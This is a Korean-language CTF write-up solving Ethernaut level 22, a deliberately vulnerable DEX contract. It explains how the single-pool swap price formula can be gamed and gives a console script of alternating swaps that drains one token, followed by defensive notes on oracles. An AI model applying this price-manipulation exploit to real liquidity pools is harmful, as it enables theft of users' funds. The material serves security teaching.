> For the complete documentation index, see [llms.txt](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/ethernaut/22.-dex.md).

# 22. DEX

> 이 레벨의 목표는 아래 있는 기본 [DEX](https://en.wikipedia.org/wiki/Decentralized_exchange)(탈중앙화 거래소) 컨트랙트를 해킹하여, 가격 조작을 통해 자금을 탈취하는 것입니다.
>
> 게임을 시작하면 당신은 `token1`과 `token2`를 각각 10개씩 보유하게 됩니다. DEX 컨트랙트는 각 토큰을 100개씩 가지고 있습니다.
>
> 두 토큰 중 하나라도 전부 소진시키고, 컨트랙트가 “잘못된 가격(bad price)”를 반환하게 만들면 이 레벨을 통과할 수 있습니다.
>
> #### 간단한 참고사항
>
> 일반적으로 ERC20 토큰으로 스왑할 때는, 컨트랙트가 여러분의 토큰을 대신 사용할 수 있도록 `approve` 호출이 필요합니다. 게임의 문법을 단순화하기 위해, `approve` 함수를 컨트랙트에 직접 구현해두었습니다. 따라서 `contract.approve(contract.address, <uint amount>);`와 같이 사용하면 두 토큰 모두 원하는 만큼의 지출을 자동으로 승인됩니다. 그렇지 않은 경우 `SwappableToken` 컨트랙트는 무시해도 괜찮습니다.
>
> 도움이 될 만한 것들:
>
> * 토큰 가격은 어떤 방식으로 계산될까요?
> * `swap` 함수는 내부에서 어떻게 작동할까요?
> * ERC20에서 `approve`는 어떤 역할을 할까요?
> * 컨트랙트와 상호작용하는 방법은 여러 가지가 있습니다!
> * Remix를 활용해보세요.
> * “At Address”는 어떤 기능일까요?

### 들어가기 전에

1. ERC20 설명(solidity 파트)

[ERC20 개요 및 간단한 구현](/smartcontract-security-docs/basics/2./undefined-3/erc20.md)

***

### **원본 소스 코드**

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract Dex is Ownable {
    address public token1;
    address public token2;

    constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner{//[1]
        token1 = _token1;    
        token2 = _token2;
    }
function addLiquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public { //[2]
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapPrice(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) { //[3]
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public { //[4]
        SwappableToken(token1).approve(msg.sender, spender, amount);
        SwappableToken(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) { //[5]
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableToken is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) //[6]
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public { //[7]
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}
```

> ```
> [1] : 토큰 주소 설정, 소유자만 호출 가능
> [2] : 사용자가 from 토큰을 주면, to 토큰을 계산된 양만큼 교환
> [3] : dex swap 계산
> [4] : msg.sender가 spender에게 DEX가 발행한 토큰 사용 허락
> [5] : 주소가 토큰을 얼마나 가지고 있는지 확인
> [6] : 토큰 초기 설정(이름, 줄임말,총 발행량)
> [7] : owner가 spender(contract.address)에게 토큰 사용 권한 부여
> ```

***

### **공격 시나리오**

* dex swap 계산식인

&#x20;`(amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)` 을 이용하여 토큰 swap시에 이동하는 token 개수를 파악하여 반대쪽 token으로 반복적으로 이동시키면서 한쪽을 소진 시켜 0으로 만들면 문제 풀이에 성공할 수가 있다.&#x20;

***

### **공격 코드**

<pre class="language-javascript"><code class="lang-javascript">const token1 = await contract.token1() // token1 변수 저장
const token2 = await contract.token2() // token2 변수 저장
const instance ='&#x3C;풀이자 지갑 주소>' // instance를 풀이자 지갑 주소로 변경(내가 가진 토큰 확인)
<strong>await contract.approve(contract.address, "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");
</strong>// dex가 토큰을 모두 사용 할 수 있도록 최대치를 허용 
await contract.swap(token1, token2, 10) 
await contract.swap(token2, token1, 20)
await contract.swap(token1, token2, 24)
await contract.swap(token2, token1, 30)
await contract.swap(token1, token2, 41)
await contract.swap(token2, token1, 45)

</code></pre>

* token1과 token2에는 각각 10개를 가지고 처음에 token1에 있는 10개를 모두 token2에 옮긴 후 그 다음부터 한 쪽에 있는 모든 코인을 반복적으로 반대쪽으로 옮겨준다.
* DEX의 swap이 swap 양 = amount \* 반대 토큰 잔고 / 양도 하는 토큰 잔고로 이루어지기에 await contract.swap(token2, token1,  20)을 예시로 보면 swap 양 = 20 \* 110 / 90 = 24.44...이기에 token1에 20을 swap 해도 24가 양도 되는 것이다.
* token1으로 token2 45개를 교환하면 DEX의 token1이 모두 고갈 되게 된다.

```javascript
String(await contract.balanceOf(token1, instance)) //player token1 개수 확인
String(await contract.balanceOf(token2, instance)) //player token2 개수 확인
String(await contract.balanceOf(token1, contract.address)) //dex token1 개수 확인
String(await contract.balanceOf(token2, contract.address)) //dex token2 개수
```

* 개수가 부족하면 트랜젝션이 실패하기 때문에 swap 도중 balanceOf를 이용하여 보유 token 개수를 확인 해야 한다.
* 공격 코드를 모두 콘솔에 입력하면 문제를 해결 할 수가 있다.

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FMWHgFeot8JkJ7s7PWMOO%2Fimage.png?alt=media&amp;token=dee00285-bf43-4b2f-8fb8-521a781a56a1" alt=""><figcaption></figcaption></figure>

***

### &#x20;:bangbang:더 알아보기 :bangbang:

> 정수 연산 부분은 차치하더라도, 스마트 컨트랙트에서 단일 소스로부터 가격이나 어떤 종류의 데이터든 수집하는 것은 엄청난 공격 벡터입니다. 이 예시에서 알 수 있듯이, 자본이 많은 누군가가 가격을 단번에 조작하여 이를 이용하는 모든 애플리케이션이 잘못된 가격을 사용하도록 만들 수 있습니다. 거래소 자체는 탈중앙화되어 있지만, 자산의 가격은 하나의 덱스(dex)에서 나오기 때문에 중앙화 되어 있습니다. 그러나 가상 자산이 아닌 실제 자산을 나타내는 토큰을 고려한다면, 대부분의 토큰은 여러 덱스와 네트워크에 거래소 쌍을 가지고 있을 것입니다. 이렇게 하면 특정 덱스가 이러한 공격의 표적이 되더라도 자산 가격에 미치는 영향을 줄일 수 있습니다. [오라클](https://medium.com/better-programming/what-is-a-blockchain-oracle-f5ccab8dbd72)은 스마트 컨트랙트에 데이터를 주고받는 데 사용됩니다. [체인링크 데이터 피드](https://docs.chain.link/data-feeds/using-data-feeds)는 스마트 컨트랙트에 탈중앙화된 데이터를 가져오는 안전하고 신뢰할 수 있는 방법입니다. 다양한 소스로 구성된 방대한 라이브러리를 보유하고 있으며, [안전한 무작위성](https://docs.chain.link/vrf), [모든 API 호출 기능](https://docs.chain.link/any-api/get-request/introduction), [모듈식 오라클 네트워크 생성](https://docs.chain.link/architecture-overview/architecture-decentralized-model), [유지 관리](https://docs.chain.link/chainlink-automation), [작업 및 유지보수](https://docs.chain.link/chainlink-automation), 그리고 무제한 사용자 정의 기능을 제공합니다.[ Uniswap TWAP 오라클](https://docs.uniswap.org/contracts/v2/concepts/core-concepts/oracles)은 [TWAP](https://en.wikipedia.org/wiki/Time-weighted_average_price#)이라는 시간 가중 가격 모델을 사용합니다. 설계 자체는 매력적이지만, 이 프로토콜은 DEX 프로토콜의 유동성에 크게 의존하며, 유동성이 너무 낮으면 가격이 쉽게 조작될수 있습니다. 다음은 Sepolia 테스트넷에서 Chainlink 데이터 피드를 통해 비트코인의 USD 가격을 가져오는 예시입니다.&#x20;
>
> ```solidity
> // SPDX-License-Identifier: MIT pragma solidity ^0.8.7;
> import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
> contract PriceConsumerV3 { AggregatorV3Interface internal priceFeed;
> /**
>  * Network: Sepolia
>  * Aggregator: BTC/USD
>  * Address: 0x1b44F3514812d835EB1BDB0acB33d3fA3351Ee43
>  */
> constructor() {
>     priceFeed = AggregatorV3Interface(
>         0x1b44F3514812d835EB1BDB0acB33d3fA3351Ee43
>     );
> }
>
> /**
>  * Returns the latest price.
>  */
> function getLatestPrice() public view returns (int) {
>     // prettier-ignore
>     (
>         /* uint80 roundID */,
>         int price,
>         /*uint startedAt*/,
>         /*uint timeStamp*/,
>         /*uint80 answeredInRound*/
>     ) = priceFeed.latestRoundData();
>     return price;
>     }
> }
> ```
>
> [Remix에서 사용해 보세요.](https://remix.ethereum.org/#url=https://docs.chain.link/samples/PriceFeeds/PriceConsumerV3.sol\&lang=ko\&optimize=false\&runs=200\&evmVersion=null\&version=soljson-v0.8.30+commit.73712a01.js)&#x20;
>
> 체인 링크 피드 [페이지](https://data.chain.link/feeds/ethereum/mainnet/btc-usd)에서 최대 31개의 다양한 소스에서 비트코인 가격이 조회 되는 것을 확인할 수 있습니다. 모든 체인 링크 가격 피드 주소 [목록](https://docs.chain.link/data-feeds/price-feeds/addresses/?page=1\&testnetPage=1)도 확인할 수 있습니다.
